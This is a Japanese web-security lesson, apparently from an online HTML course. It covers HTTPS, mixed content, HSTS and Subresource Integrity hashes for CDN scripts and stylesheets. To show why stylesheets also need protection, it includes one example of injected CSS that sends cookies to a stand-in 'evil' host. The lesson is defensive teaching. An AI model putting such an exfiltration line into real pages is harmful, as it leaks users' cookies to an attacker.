HTTPSとSubresource Integrity
integrity属性で外部リソースの完全性を検証します
「HTTPSとSubresource Integrity」はCoddyKit上の無料HTML Academyレッスンです。 これはレッスン4/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはHTML Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 HTML Academyコースには全4レッスンが含まれています。
どこでも HTTPS を使う理由
HTTPS は転送中のデータを暗号化し、サーバーを認証します。HTTPS がなければ、同じネットワーク上の攻撃者(カフェの Wi-Fi、ISP、国家主体など)がすべてのバイトを読み取り、レスポンスに悪意のあるコンテンツを注入できます。最新のブラウザーは HTTP ページを「安全ではありません」と表示し、カメラ、位置情報、service worker など多くの API は HTTP 上での動作を拒否します。
混在コンテンツ
HTTPS ページから HTTP リソースを読み込むことを混在コンテンツといいます。ブラウザーはアクティブな混在コンテンツ(スクリプト、iframe、スタイルシート)を完全にブロックし、パッシブな混在コンテンツ(画像)については警告します。すべてのリソースを HTTPS 経由で読み込んでください。プロトコル相対 URL(//cdn.example.com)または絶対 URL の https:// を使います。
HSTS
Strict-Transport-Security レスポンスヘッダーによる HTTP Strict Transport Security は、今後ブラウザーがドメインへの HTTP 接続を拒否するよう指示します。HSTS がキャッシュされると、中間者の立場にある攻撃者であっても、ユーザーを HTTP にダウングレードできません。
SRI を使う理由
サードパーティ製 CDN からスクリプトを読み込むのは便利ですが、危険もあります。CDN が侵害されると、攻撃者はスクリプトをマルウェアに差し替えられます。Subresource Integrity(SRI)を使うと、ブラウザーは実行前にファイルの暗号学的ハッシュを検証し、ハッシュが一致しなければ実行を拒否します。
integrity 属性
スクリプトタグに Base64 エンコードした SHA-256/384/512 ハッシュを追加します。<script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script> ブラウザーはダウンロードしたファイルのハッシュを計算し、一致しなければ実行を拒否します。
<link
rel="stylesheet"
href="https://cdn.example.com/styles.css"
integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh"
crossorigin="anonymous">ハッシュの生成
openssl でハッシュを生成できます。openssl dgst -sha384 -binary file.js | openssl base64 -A または、integrity 属性を自動的に出力するビルドツールのプラグインを使ってください。多くの CDN(jsdelivr、unpkg)は、コピーして使えるスニペットに SRI タグを表示しています。
crossorigin が必要
SRI では、CORS 経由で整合性チェックを許可するクロスオリジンレスポンスが必要です。タグに crossorigin="anonymous" を追加し、CDN が Access-Control-Allow-Origin を送信するようにしてください。これがないとブラウザーは検証を拒否し、リソースの読み込みに失敗します。
複数のハッシュ
integrity 属性には、スペースで区切って複数のハッシュを指定できます。バージョン移行時に便利です。古いバージョンと新しいバージョンの両方のハッシュを列挙すると、ブラウザーは CDN が配信した方を受け入れます。属性を読みやすく保つため、ハッシュは 2、3 個を超えないようにしてください。
スタイルシートへの SRI
SRI は <link rel="stylesheet"> にも適用できます。侵害された CSS ファイルは、侵害されたスクリプトほど直接的には危険ではありません。しかし、注入された background: url("//evil/log?cookie=...") によってデータが外部へ送信される可能性があります。可能な限り、すべての外部アセットに SRI を適用してください。
自前ホスティングが有利な場合が多い
SRI は CDN の侵害によるリスクを軽減しますが、すべての問題を解決するわけではありません。CDN 上のハッシュが変更されると、integrity 属性を更新するまでページが壊れます。重要なライブラリでは、レビュー済みのファイルを自分でホストしてください。これにより、SRI のピン留めとサプライチェーンリスクを一度に排除できます。
パフォーマンス
SRI はリソースごとにハッシュ計算を 1 回追加します。最新のハードウェアでは無視できる程度で、1 キロバイトあたり数マイクロ秒です。サプライチェーン攻撃に対する保護効果は、そのコストをはるかに上回ります。CDN から読み込む場合、SRI を省略するパフォーマンス上の理由はありません。
制限事項
SRI は特定のバイト列を検証するだけであり、一部のユーザーに別のファイルを配信する CDN の選択的な標的化からは保護しません。最大限の保証を得るには、SRI を HTTPS、HSTS、CSP、そして最重要アセットの自前ホスティングと組み合わせてください。
理解度チェック
スクリプトタグの integrity 属性は、何に対する保護を提供しますか?
まとめ
HTTPS は暗号化と認証を行い、HSTS はダウングレード攻撃を防ぎ、SRI はサードパーティ製ファイルが改ざんされていないことを検証します。管理していない CDN から読み込むすべての外部スクリプトとスタイルシートに、integrity ハッシュ(crossorigin="anonymous" 付き)を追加してください。最重要アセットについては、代わりに自分でホストしてください。これによりサプライチェーンリスクを完全に排除できます。
よくある質問
「HTTPSとSubresource Integrity」レッスンは無料ですか?
はい。「HTTPSとSubresource Integrity」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、HTML Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 HTML Academyコースには全4レッスンが含まれています。
「HTTPSとSubresource Integrity」で何を学びますか?
integrity属性で外部リソースの完全性を検証します ブラウザで直接実行するハンズオンコードでHTML Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
HTML Academyを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのHTML Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン4/4です。
「HTTPSとSubresource Integrity」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このHTML Academyレッスンでコードを書いて実行できますか?
はい。すべてのHTML Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- Content Security Policyのmeta http-equiv
- innerHTMLによるXSSと防止方法
- iframeのサンドボックスとPermissions Policy
- HTTPSとSubresource Integrity